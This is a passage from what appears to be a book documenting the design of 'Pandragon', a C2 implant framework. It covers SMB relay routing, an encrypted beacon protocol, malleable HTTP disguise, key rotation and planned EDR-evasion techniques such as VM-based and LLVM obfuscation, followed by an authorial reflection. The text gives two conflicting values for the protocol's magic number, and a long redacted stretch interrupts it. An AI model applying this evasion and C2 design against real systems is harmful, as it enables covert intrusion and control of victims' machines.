All this simplicity in the implant shifts the complexity to the server, where it belongs. The Python teamserver maintains a routes dictionary mapping each beacon's 8-byte ID to a BeaconRoute structure:

CODE_START

```
class BeaconRoute:
    beacon_id: bytes
    transport: str      # "direct" | "relay"
    via_beacon_id: bytes # parent beacon ID (None if direct)
    parent_pipe_id: int  # pipe_id on the parent (None if direct)
    depth: int          # 0 = direct, 1 = relayed once, etc.
    last_seen: float
    is_alive: bool
```

CODE_END

When a parent sends a RELAY_CHILD_UP, the server extracts the encrypted child packet, decrypts it with the child's own key, and processes the inner beacon packet exactly as if it had arrived directly. When the server needs to send a command to a relayed beacon, it looks up the route, constructs the appropriate downstream wrapper (either a simple RELAY_DOWN for a direct parent, or a nested RELAY_MULTI for deeper chains), and sends it to the first hop.

The server also maintains relay_children: Dict[bytes, List[bytes]] to handle failover. If a parent disconnects, all its direct children are immediately marked offline, and optionally the

server can attempt to re-parent them to another beacon that can hear the same pipe name, a planned future feature.

14.8 Security Analysis: The Threat Model, Tested in Thought

We designed this relay architecture to be resilient under multiple compromise scenarios, because any real-world implant must assume that some nodes will eventually be captured.

- **Parent compromised:** The attacker sees encrypted blobs, random pipe names, and a list of active pipe handles. They cannot decrypt child traffic because the child's crypto key is independent and never touches the parent's memory. They can inject garbage into the pipe; the server will attempt decryption and drop the packet on MAC failure. They can spoof a fake pipe connection, but without knowing the correct pipe name (which is random and server-assigned), they cannot even get the parent to open a new relay slot.
- **Child compromised:** The child's key is exposed, and its past traffic can be decrypted (this is unavoidable if its memory is captured). However, the parent and all sibling beacons remain secure because their keys are separate. PFS is maintained for the rest of the graph.
- **Pipe interception:** An attacker with a network tap on the SMB connection sees a stream of [length][random bytes] moving over a named pipe with an arbitrary name like `\\.\pipe\msagent_XR8F2`. There is no static string, no beacon ID, no protocol magic. It melts into the background noise of Windows SMB traffic.
- **Replay attacks:** The inner child packet carries its own Pandragon header with a monotonically increasing `seq_num`. Even if an attacker replays an old `RELAY_CHILD_UP` frame, the server rejects it based on the sequence number of the child, not the parent. The relay layer adds no replay susceptibility.

The one conscious risk we accept is the pipe name itself. If an attacker somehow extracts all pipe names from the parent's memory and also captures a child beacon, they can connect to the parent and listen. But that's equivalent to already owning both ends; no protocol can save you from total endpoint compromise.

14.9 Notes

We once wrote that the beacon is a glorified "Fetch-Execute-Reply" loop. With the relay engine, it has become something more: a silent post office, faithfully carrying mail it cannot read, asking

[REDACTED]
[REDACTED]
[REDACTED]

[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]

[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]

[REDACTED]

[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]

[REDACTED]
[REDACTED]
[REDACTED]

[REDACTED]
[REDACTED]
[REDACTED]

[REDACTED]
[REDACTED]
[REDACTED]

[REDACTED]
[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

[REDACTED]

You are now reading:

Part V

Cryptography

"[I]n mathematics you don't understand things. You just get used to them."

Von Neumann.

16. Pandragon Protocol

The goal of the Pandragon protocol was to elaborate a simple TLV (which then evolved into a protobuf, more on that later) to handle sending commands from Teamserver to Beacon.

The Pandragon protocol is not merely a wire format; it is a compact, encrypted, and malleable conversation layer designed for the constraints of a post-exploitation beacon: small memory footprint, no standard library, and the need to blend with legitimate traffic. This section specifies the binary protocol, its cryptographic primitives, and the malleable C2 knobs that let an operator reshape each packet's outer appearance without touching the core logic. A protocol is a set of promises. Pandragon promises that every packet is authenticated, that no two packets share a nonce, and that the beacon can parse a command without heap allocations.

16.1. Why Not JSON?

JSON is readable, but alas that is not our goal. We wanted to move bytes with minimal parsing overhead and deterministic structure. A JSON parser pulls in kilobytes of code, often allocates unpredictably, and leaves timing side-channels. The Pandragon wire format uses a fixed-size header followed by a length-delimited encrypted payload. No lookahead, no recursion, no malloc during header validation.

16.2. The 47-Byte Fixed Header

All packets, regardless of direction, begin with the same layout:

CODE_START

```
#pragma pack(push, 1)
struct packet_header {
    uint32_t magic;      // 0x50414E44 ("PAND")
    version_t version;   // 0x00 (epoch)
    uint8_t beacon_id[8]; // SHA256(initial_key)[0:8]
    uint8_t opcode;      // s2b_opcode or b2s_opcode
    uint32_t seq_num;    // monotonic, little-endian
    uint8_t nonce[24];   // CSPRNG per packet
    uint32_t payload_len; // ciphertext + MAC length
    // [0-15 bytes padding] then [payload_len bytes ciphertext | MAC]
};
```

```
#pragma pack(pop)
```

```
CODE_END
```

The header is transmitted as-is, never encrypted. Its fields are authenticated as Associated Data (AD) in the Poly1305 MAC. This allows the receiver to validate the header before attempting decryption.

Magic bytes: 0x81F45302 ("PAND") provide a sanity check and help during traffic analysis. It is a known IOC. Pandragon's goal is not to be used in real attacks, the only place where this is a problem. This will be changed in future versions.

The **version** field is reserved for future incompatible changes – current value 0 means "epoch".

Beacon ID is the first 8 bytes of SHA256(initial_crypto_key). It never changes, even after key rotation, so the server can index sessions by a stable identifier.

Sequence numbers start at 0 for the first packet from each side (beacon increments its own counter, server increments its own). The server maintains per-beacon state and rejects packets with duplicate or out-of-order seq_num as a replay mitigation. The beacon may optionally validate server sequence numbers.

Nonce is 24 bytes of cryptographically secure random data, generated fresh per packet. Combined with the key, it ensures that the same plaintext produces different ciphertext each time.

Payload length counts the encrypted ciphertext plus the 16-byte Poly1305 tag. It does **NOT** include the header or the optional padding.

16.3 Nonce Composition and Replay

The 24-byte nonce provides a collision probability so low that explicit sequence numbers in the nonce are unnecessary. The implementation simply calls BCryptGenRandom (or RtlGenRandom on older Windows) for every packet. To protect against replay attacks, the protocol relies on the seq_num field in the authenticated header. A packet with a seq_num $\leq$ last seen number is discarded before decryption and logged server-side.

16.4. Opcode Minimalism: S2B vs B2S

The opcode space is deliberately small. Features that can be implemented as a BOF (screenshot, Kerberos tickets, token manipulation...) are not hard-coded into the protocol. The current opcode set is documented below. Where possible, the same numeric value is reused for semantically similar operations in both directions, but the interpretation depends on the direction: a packet from server to beacon will never contain a BEACON_CHECK_IN opcode, for instance.

Server-to-Beacon opcodes (s2b_opcode):

Opcode	Name	Description
0x00	NO_TASKS	Poll response - no pending work
0x01	ECHO	Echo request with arbitrary data
0x02	SLEEP	Change sleep interval and jitter
0xFF	DIE	Terminate the beacon
0x10	BOF_EXEC	Execute a COFF BOF
0x11	BOF_FREE	Evict a cached BOF by ID
0x14	LONG_RUNNING_BOF	Async BOF with start/abort/update
0x1E	ROTATE_KEY	Rotate the crypto key
0x20	FILE_DOWNLOAD_START	Initiate chunked download
0x21	FILE_DOWNLOAD_CHUNK	Request a specific chunk
0x22	FILE_UPLOAD_START	Initiate chunked upload
0x23	FILE_UPLOAD_CHUNK	Send a chunk of file data
0x25	ETW_ENABLE	Install HWBP ETW bypass
0x26	ETW_DISABLE	Remove HWBP ETW bypass
0x40	START_RELAY	Enable P2P SMB relay mode
0x41	STOP_RELAY	Disable relay, drain children

0x42	RELAY_ADD_CHILD	Add child beacon to relay table
0x43	RELAY_REMOVE_CHILD	Remove child from relay table
0x44	RELAY_DOWN	Downstream data from server to child

Beacon-to-Server opcodes (b2s_opcode):

Opcode	Name	Description
0x01	BEACON_CHECK_IN	Initial registration with system info
0x02	BEACON_POLL	Request new tasks. Send cached BOFs list
0x03	BEACON_TASK_RESULT	Command execution output
0x04	BEACON_ERROR	Error notification with code and message
0x12	BOF_OUTPUT	BOF execution output
0x13	LIST_FILES_RESULT	Directory listing response
0x1F	KEY_ROTATE_ACK	Acknowledge key rotation
0x20	FILE_DOWNLOAD_ACK	Download start response (size, status)
0x21	FILE_CHUNK_DATA	File chunk with offset and EOF flag
0x22	FILE_UPLOAD_ACK	Acknowledge chunk write / request retry
0x40	RELAY_CHILD_UP	Upstream data from child to server via parent

16.5. Poly1305 Footprint and Padding

Every packet carries a 16-byte Poly1305 authentication tag computed over:

- The complete header (including payload_len), as AD.
- The ciphertext (which already includes the padding bytes that follow the header).

The tag is appended after the ciphertext. Thus $\text{payload_len} = \text{len}(\text{ciphertext}) + 16$. The receiver always checks the tag before acting on the decrypted payload. A failed tag leads to immediate packet rejection with `DECRYPTION_FAILED` and no further processing.

Padding (0-15 bytes) is inserted between the header and the ciphertext. Its purpose is to defeat traffic analysis based on packet length. The sender fills these bytes with random data; the

receiver reads padding_flags & 0x0F and skips that many bytes before the ciphertext. Padding does not affect the MAC – it is part of the ciphertext stream.

16.6. Key Derivation from OTA Pre-Shared

The only shared secret is a 32-byte **crypto_key**. It is embedded in the beacon configuration at compile time and stored on the server side per beacon. The beacon ID is derived as:

beacon_id = SHA256(crypto_key)[0:8]

This 8-byte value is transmitted in plaintext in every packet header. The server uses it to look up the correct key for decryption. The key itself is never sent over the wire except during an explicit rotation (see section 18).

17. Malleable Packets

Malleable C2 is a layer of obfuscation applied after encryption. The ciphertext (which already includes random padding) is base64url-encoded and then wrapped with configurable prefixes, suffixes, and macros. The server performs macro expansion per packet; the beacon receives the raw, wrapped string and reverses the process.

17.1. Wrappers and Macros

A wrapper is a pair of strings (prefix, suffix) that surround the base64url-encoded ciphertext. For example:

```
prefix = "REQ_${RAND_B64:4}_"
```

```
suffix = "_${JUNK:8}"
```

Macros are evaluated at the moment of transmission:

Macro	Expansion
\${TIMESTAMP}	10-digit Unix timestamp
\${RAND_B64:N}	N random characters from base64 alphabet
\${JUNK:N}	N random alphanumeric characters
\${PAD_BASE64}	= or == to mimic base64 padding

The same macros may be used in custom HTTP header values.

17.2 Payload Location

The encrypted payload can be placed in three different locations of an HTTP request:

- **Query parameter** (type = 0): appended as ?param_name=<payload>
- **Path segment** (type = 1): inserted between path_prefix and path_suffix, e.g., /cdn/<payload>.png
- **Request body** (type = 2): sent as the raw POST body (or application/x-www-form-urlencoded with a parameter name if configured)

The beacon reads the configuration once at startup and uses the same location for all check-ins and task requests.

17.3. Custom HTTP Headers

A list of additional headers is attached to every beacon request. Each header name and value can contain macros. Example:

```
"http_headers": [  
  {"name": "X-Request-ID", "value": "${RAND_B64:16}"},  
  {"name": "X-Session-Token", "value": "static_value"}  
]
```

At most 16 custom headers are supported, with name length ≤ 64 bytes and value length ≤ 1024 bytes.

17.4. User-Agent Rotation

The beacon may be compiled with a list of up to six User-Agent strings. The active User-Agent is selected by the setHttpMethod / setActiveChannel calls. Typical User-Agent strings mimic modern browsers on Windows, macOS, Linux, and mobile platforms.

18. Key Exchanges

The initial key is pre-shared. To limit the exposure of a long-term static key, the protocol supports key rotation without re-registering the beacon.

18.1. Rotation Protocol

1. Server generates a fresh 32-byte key.
2. Server sends a ROTATE_KEY packet (opcode 0x1E) encrypted with the old key. The payload contains the new key and the target beacon_id (as a verification field).
3. Beacon decrypts the packet, verifies that beacon_id matches its own ID, and replaces its crypto key with the new one. The beacon ID itself does not change.
4. Beacon replies with KEY_ROTATE_ACK (opcode 0x1F) still using the old key.
5. Server receives the ACK, then switches to the new key for all subsequent packets.
6. All further communication uses the new key.

The beacon ID remains the same throughout the session, so the server's routing table and malleable configuration stay intact.

18.2 Replay and Rollback Protection

Are sequence numbers reset for each side after key rotation? No. The sequence number is per-beacon and per-direction; it continues monotonically across rotations. The server records the highest seen sequence number for each beacon ID even after key changes. Because the beacon ID is constant, replay attacks that attempt to resend a pre-rotation packet with an old key are rejected due to sequence number staleness or MAC failure (the key no longer matches).

19. Cipher Choice and Modes

19.1. XChaCha20-Poly1305

The protocol uses XChaCha20-Poly1305(-IETF) as its only AEAD construct.

Reasons:

- No hardware acceleration required – ChaCha20 performs well on all CPUs, unlike AES-NI which may be absent or emulated slowly.
- Extended nonce (192 bits) – Allows random nonces without a separate counter, simplifying the beacon's CSPRNG usage.
- Constant-time implementation – The reference implementation and the beacon's bastia port have no secret-dependent branches.
- Poly1305 provides strong integrity – A 16-byte tag is sufficient; the protocol makes no provision for truncated tags.

19.2. Encryption and Padding Order

When sending a packet:

1. Plaintext (payload structure as defined per opcode) is assembled.
2. Random padding (0-15 bytes) is appended to the plaintext. (This padding is distinct from the header-adjacent padding.)
3. The padded plaintext is encrypted with XChaCha20 using the current key and a fresh 24-byte nonce.
4. The ciphertext is fed into Poly1305 together with the header (as AD) to produce the 16-byte tag.
5. The final packet is: [header][header_padding][ciphertext][tag].

On receipt, the header padding_flags is used to skip the header padding, then the tag is verified over header + ciphertext. If valid, decryption yields the plaintext with its internal padding (which is simply discarded).

19.3. Key Size and Nonce Generation

- **Key:** 256 bits (32 bytes). No weaker keys are permitted.
- **Nonce:** 192 bits (24 bytes). Generated per packet using BCryptGenRandom with BCRYPT_USE_SYSTEM_PREFERRED_RNG. The beacon never reuses a nonce for the same key – the state is reset on key rotation.

19.4. Performance Considerations

Encryption and MAC verification add a measurable but acceptable overhead ($< 100 \mu\text{s}$ per packet on a 2.5 GHz CPU). The beacon's use of a secondary userspace PRNG avoids repeated BCryptGenRandom calls for every packet. Packet compression (future NETWORK_NO_COMPRESS flag) is not yet implemented; all traffic is encrypted but not compressed, to avoid leaking entropy patterns.

You are now reading:

Part VI

Future work

"The main thing is to remain yourself, [...] It seems to me that [art], complementing each other, can coexist in my life. "

- Viktor Tsoi.

20. User-Mode Virtualization (RISC-V VM)

We postulate that a future version of Pandragon could – and should – include a user-mode RISC-V virtual machine written in plain C. The rationale is simple: bytecode is smaller than shellcode, and a VM can be obfuscated once, then reused.

20.1 Why RISC-V?

RISC-V was chosen not because it is the fastest, nor because it is the most common. It was chosen because:

- Fixed-length instructions (32-bit, compressed 16-bit optional) make opcode shuffling trivial.
- No legacy cruft – the base ISA is tiny (40-50 instructions for RV32I/RV64I). A custom C compiler (e.g., `riscv64-unknown-elf-gcc` target on Clang) can produce Pandragon-specific binaries with zero runtime dependencies.

20.2 Architecture: Interpreter + Bytecode

Delivering Pandragon on a target machine would require two components:

1. **The interpreter** – a small, statically linked executable (or reflective DLL) that implements a RISC-V emulator with a handful of syscall hooks. This interpreter would be **on-disk** and would be the only component that needs to survive a reboot. It should be obfuscated using the techniques in Section 21.
2. **The bytecode** – the actual Pandragon beacon logic, compiled to RISC-V machine code. This would be delivered as shellcode (or over the wire) and executed by the interpreter. The bytecode never touches disk; it lives only in memory, encrypted, and can be rotated at will.

The interpreter exposes a minimal ABI to the bytecode:

CODE_START

```
// hypercalls from guest RISC-V to host Windows
int32_t hv_syscall(uint32_t syscall_number, void* args, uint32_t args_len);
void* hv_allocate_page(uint64_t size, uint32_t protect);
void hv_free_page(void* ptr);
void hv_output(const char* msg, uint32_t len);
```

CODE_END

The guest (RISC-V bytecode) calls these via a dedicated `ecall` instruction. The interpreter translates that into a real Windows NT syscall (using Pandragon's own indirect syscall engine). This means that even if the interpreter is signed, the bytecode can be updated daily – the EDR would have to reverse the VM semantics to understand what the beacon is doing.

20.3 Opcode Shuffling and Per-Build Mutation

Because RISC-V instructions are 32-bit fixed length, we can apply a compile-time permutation of the opcode space. A Python script (or a C++ map?) would:

1. Parse the standard RISC-V opcode map (e.g., `addi = 0x13`, `lui = 0x37`, etc.).
2. Generate a random bijection of the top-6 bits (or major opcode field).
3. Rewrite the assembly output of `riscv64-elf-gcc` to use the shuffled opcodes.
4. Embed the permutation table inside the interpreter as a 256-byte lookup.

At runtime, the interpreter de-shuffles each instruction before emulation. The bytecode on disk (or in memory) looks like random garbage to a disassembler – only the interpreter knows how to turn `0x86A3` into `addi`. This is not cryptography, but it defeats static signature scanners that rely on known instruction sequences.

20.4 Remaining Challenges

- **Performance** – A software RISC-V interpreter might be 10–50× slower than native code. For a long-sleeping beacon, that's acceptable; for a BOF that does LSASS dumping, it might be too slow. Hybrid approaches (JIT compilation, or switching to native code for hot paths) are future work.
- **Debugging** – Debugging a VM that runs inside a beacon that itself is injected into a process is a nightmare. I have only a fuzzy idea of how to instrument this.
- **Anti-VM detection** – Some EDRs scan for known VM artifacts (e.g., magic constants, timing anomalies). The RISC-V interpreter would need to mimic real hardware closely enough to avoid detection – or simply not care, because the EDR would have to first *find* the interpreter.

The full Pandragon port is estimated at ~3 months of focused work.

21. LLVM-Based Compile-Time Obfuscation

Currently, Pandragon uses compile-time string obfuscation (Chapter 13) and position-independent tricks. But the **control flow** of the beacon is still plain, a reverse engineer can load the binary into Ghidra, follow call graphs, and understand the main loop. We need to raise the cost of static analysis further.

21.1 LLVM Pass Pipeline

The idea is to build Pandragon with a custom **LLVM pass pipeline** that applies multiple obfuscation layers *after* optimisations but *before* code generation. The passes would run only on release builds; debug builds remain clean for development.

Proposed passes (in order of application):

1. **String obfuscation (already done):** we have this via C++20 NTTP + LCG. LLVM IR pass could also do it, but current approach works.
2. **Opaque predicates:** Insert conditional jumps that are always true or always false, but whose value is derived from a hard-to-prove runtime invariant (e.g., $(x * (x+1)) \% 2 == 0$ for any integer x). The goal is to confuse CFG recovery.
3. **Control flow flattening (CFF):** Convert each function into a dispatcher loop with a switch on a state variable. All basic blocks become case labels. This is the classic Obfuscation pass from Obfuscator-LLVM (ollvm). Pandragon would use a re-implemented version with randomised dispatch tables.
4. **Instruction substitution:** Replace simple operations with more complex equivalents using algebraic identities (Reymann identities). For example, replace $x = a + b$ with $x = (a \wedge b) + 2 * (a \& b)$. The transformation is semantics-preserving but produces unfamiliar instruction patterns that YARA rules seldom cover.
5. **Bogus control flow:** Insert junk blocks that jump back to legitimate blocks, creating spurious loops. Only a live execution (or a very patient analyst) can tell which paths are real.

21.2 Reymann Identities: A Concrete Example

A Reymann identity is an algebraic equivalence that holds over rings (like integers modulo 2^{32}). For example:

$$a + b = (a \wedge b) + 2 * (a \& b)$$

$$a \wedge b = (a | b) - (a \& b)$$

$$a * b = ((a + b)^2 - a^2 - b^2) / 2 \quad (\text{requires multiplicative inverse, not always usable})$$

The LLVM pass would match an add instruction and replace it with a combination of xor, and, and shl (shift left). The result is functionally identical but looks nothing like a normal addition. Over hundreds of instructions, the binary becomes a confusing mess of bitwise operations – yet it runs at nearly the same speed because modern CPUs execute xor and add in the same cycle.

21.3 Implementation Path

We do not need to write all passes from scratch. The open-source **Hikari** LLVM obfuscator (a modernised llvm) already implements many of these. The work is to:

- Port Hikari to the LLVM version used by Clang.
 - Actually, Hikari was written to be a separate LLVM fork, so we would need to port it to LLVM passes to make it portable and avoid having to rebuild all of llvm every time we make a change.
- Tune the passes so they do not break Pandragon's hand-rolled syscall wrappers (e.g., `preserve __attribute__((optnone))` functions).
- Add a CMake option `-DOBFUSCATE=ON` that links the passes.

The interpreter (**Section 20**) would be obfuscated with these passes. The RISC-V bytecode would *not* need obfuscation: it runs inside a VM whose semantics are already hidden. This is defense in depth.

21.4 Limitations

- **Performance:** Control flow flattening can slow down loops by a factor of 2–5. For a beacon that sleeps 99% of the time, this is irrelevant. For BOFs that do heavy computation (e.g., key stretching), it might hurt. So we should only apply it on the beacon, not BOFs.
- **Analyst with a debugger:** As always, a human with a debugger can single-step through the flattened control flow and reconstruct the original logic. The goal is to make automated analysis (EDR, sandboxes, YARA) fail, not to stop a determined reverse engineer.

22. Full Position Independence (PIC): The Last Globals

In Section 4.7, I noted that Pandragon is *almost* position-independent. Some global structures remain, namely:

- `ModuleCache : g_moduleCache`: a fixed array of module handles.
- `g_funcTable`: the global pointer to the function table.

These are relics from early development. A future version should:

1. Move the module cache **inside** the `funcTable` structure. The table is already heap-allocated; extending it with a small module cache adds trivial overhead.
2. Eliminate `g_funcTable` by passing the table pointer as an explicit first argument to every function that needs it (or storing it in a TEB slot, risky, but possible).
3. Use `-fpie` and `-pie` link flags, and a custom linker script that forces all sections to be mergeable and relocatable.

A fully PIC Pandragon could be **injected as raw shellcode** without any fixups. You could copy the beacon bytes from one process to another, call its entry point, and it would run, no need for reflective loader tricks. This would also defeat EDRs that scan for `IMAGE_DOS_SIGNATURE` (the MZ header) because the PIC version would have no PE headers at all.

Estimated effort: **2-3 weeks** of careful refactoring. High reward.

24. User-Mode EDR Hook Detection and Evasion

Pandragon currently **assumes** that \KnownDlls gives us a clean copy of ntdll. But what if the EDR also hooks the *section object*? Or what if the EDR uses **instrumentation callbacks** (which cannot be bypassed without kernel code)? Truth is, I believe that as of now, that is impossible. [\KnownDlls\](#) is what almost every kernel-mode component of Windows relies on through the Objects Manager. Hooking it would just force Microsoft to restrict writing to it like what happened with SSDT hooking.

25. Post-Quantum Cryptography (PQC) Preparation

The wire protocol (Chapter 16) uses XChaCha20-Poly1305, a symmetric cipher. That is **not** vulnerable to Shor's algorithm (which breaks asymmetric crypto). The real risk is if the server's TLS tunnel (e.g., HTTPS) is broken by a future quantum computer. Pandragon currently relies on the underlying C2 channel's transport security (HTTPS, SMB, etc.). To be truly forward-secure against quantum adversaries, we could:

- Add an optional **post-quantum key encapsulation mechanism (KEM)** inside the protocol, e.g., Kyber (now ML-KEM) or FrodoKEM. The beacon would generate a ephemeral key pair, send the public key to the server, and the server would encapsulate a new session key.
- This would protect the *beacon's* traffic even if the TLS layer is later broken, because the inner encryption is independent.

However, the beacon's binary size would increase by ~30 KB for a Kyber implementation (dilithium/kyber reference code is large). And I am not convinced that any EDR nor NIDS today cares about quantum-safe crypto.

26. Perfect Forward Secrecy

As of now, all exchanges rely on a PSK. We can postulate we could add an ECDH-E key exchange to the beacon and server, along with a key exchange opode. This was not implemented because X25519 bloated Beacon too much and our PSK is deemed good enough for now.

You are now reading

VII

A nameless section

27. Secret Chapter

What a journey! 26 chapter, and 110 pages later. Do you feel more fulfilled than when you first started reading this? Has this worked changed you?

To answer first, this work did change me! Only after writing out your work and your thought do you really own them. I am glad to have started, finished and polished Pandragon as I could. It will never be finished. But what work is ever finished if not mundane work?

There is a question I have been avoiding for a hundred pages.

Not whether Pandragon works; it does! Not whether the evasion holds; it does, at least for now, at least against the adversaries I designed it against. Not whether the engineering is sound. I have shown you every allocation, syscall, and every compromise I made and every I refused to make; it is yours to judge, but the question is simpler yet harder:

Why did I build this?

I could give you the professional answer, that the C2 landscape needed a framework that took both engineering discipline and evasion seriously. I could say that existing tools either rotted from within or glowed from without, and that the gap between them was a research contribution worth documenting. I could say that I wanted to prove an implant could live at 80 kilobytes, speak only in encrypted protobufs, and sleep with its own code scrambled. All of that is true, but none of it is the answer! Engineering is a hard field of work. Malware development is accessible in some ways, but good malware is very hard to make; I believe engineering malware is the pinnacle of software engineering. It is a junction of systems engineering, embedded work, relentless optimizations, opinionated engineering and more. It is a very hard problem to solve, especially when there are many of them. Engineering is beautiful. Alas, I have fallen in love with what is perhaps the best and worse lover I could find: work! How freeing is this Parnassian work! There is a passage from Sartre — I will not pretend I read him systematically; I read him the way you read someone when you are young and desperate for language to describe whatever you feel — where he writes that man is condemned to be free. Condemned, because freedom is not liberation; it is the unbearable weight of having to choose, and having to own the choice, and having no one else to blame when the choice turns out to have been the wrong one. **I think about that passage when I think about Pandragon.** Every design decision in this framework was a choice, and every choice closed a door. Choosing single-threaded execution meant I could never have parallel BOF pipelines through multi-threading. Choosing the VEH meant I was gambling that no EDR would install its own handler before mine. Choosing XOR for sleep

obfuscation meant accepting that a determined analyst with a debugger could unwrap my encryption in minutes. Choosing not to implement the Layer 2 self-spreader for real meant leaving a chapter of this book in the realm of theory, which is where some ideas belong. Even writing this chapter as a single, monochrome, brutalist, justified paragraph. It is all choices!

I own all of these choices. That is what engineering *is*: not the art of finding the perfect solution, but the art of choosing which imperfections you can live with, and being able to articulate why.

I dedicated this book to my mother. Though I suspect she will not read past the ASCII dragon.

I built Pandragon because the problem was beautiful. The evasion problem, how to exist in a space designed to detect you is a formal problem with real stakes and no clean solution. It is the kind of problem that rewards the obsessively precise and punishes the careless. I am not good at many things, but I am good at being precise. The work gave me something to be good *at*, and, for a while, that was enough!

If I have contributed anything, it is not a new attack. It is a proof that the frameworks can be built cleanly, maintained sanely, and documented honestly. I have done this entirely out of love, for the problem, for research, for engineering!

I also dedicated this book to my younger self. That dedication was not metaphorical.

The person I was, hunched over a laptop that barely compiled, copying code snippets from forums I did not fully understand,, hoping something would work and terrified that something would break, that person would not have believed this book existed. Not because the content is impressive (some of it is; much of it is merely persistent), but because the act of finishing something this large would have seemed, to that person, impossible! The only real talent each of us have is an inability to let go. When something did not work, I could not sleep until I understood why. When something worked, I could not sleep until I understood how. This is not discipline. Discipline implies choice. This was compulsion, and it cost me things I will not list because that would suggest I have weighed them and found the trade acceptable, and the truth is I have never weighed anything; I simply kept going. It would be lying to say all decisions in this framework were conscious; half of my ideas came through dreams! The PFS-compliant relay came from a dream, the key rotation scheme was what I first about when I woke up; it is all simply inability to let go!

And to all — the dedication to "all" was not filler. It was the hardest one to write!

I do not know who will read this, or who even reached this far. Hell, 100+ pages is one hell of a week-end read! I imagine a few researchers, a few engineers, a few people who build EDRs and will read this with a mixture of grudging respect and quiet fury. I imagine a student, somewhere,

who will find this book the way I found the books that changed my life: by accident, in a random section of the internet, at the wrong hour of the night, with the wrong degree of fascination.

To that student: I will not tell you to be careful. You will not be careful. Careful people do not spend their summer writing a C2 framework. I will tell you this instead: the work is the easy part. The work is always the easy part. The hard part is what happens when you close the laptop and the room is quiet and you have to be a person again. The hard part is dedicating. The hard part is knowing that no amount of elegant engineering will fix the things that are actually broken. What a pity life is, but what a gift life is! Build things. Build them well. But do not build them instead of living. That is the only advice I am qualified to give, and it is the only advice I am not yet able to follow.

I wrote earlier that releasing Pandragon made me ask myself: *are you ready?*

The answer, as I said, is no. I will never be ready. Not because the work is unfinished — it is always unfinished, every engineer knows that — but because readiness implies a kind of arrival, a destination where the doubt finally lifts and you stand on solid ground and know that what you have made is good. That destination does not exist. The ground is never solid. The doubt never lifts. You simply learn to walk on the uncertainty. Pandragon is a framework for evasion. But the thing I was really evading, all summer, was simpler, older, much more boring and less technical: The question of what I was for. I am not sure this book answers it, but it is, at least, evidence that I was here! That I thought about something with total attention for long enough to fill a hundred pages. That I built a machine that works, not because I am brilliant, but because I refused to stop!

**World peace, at last. Hope lives on.
Until next time.**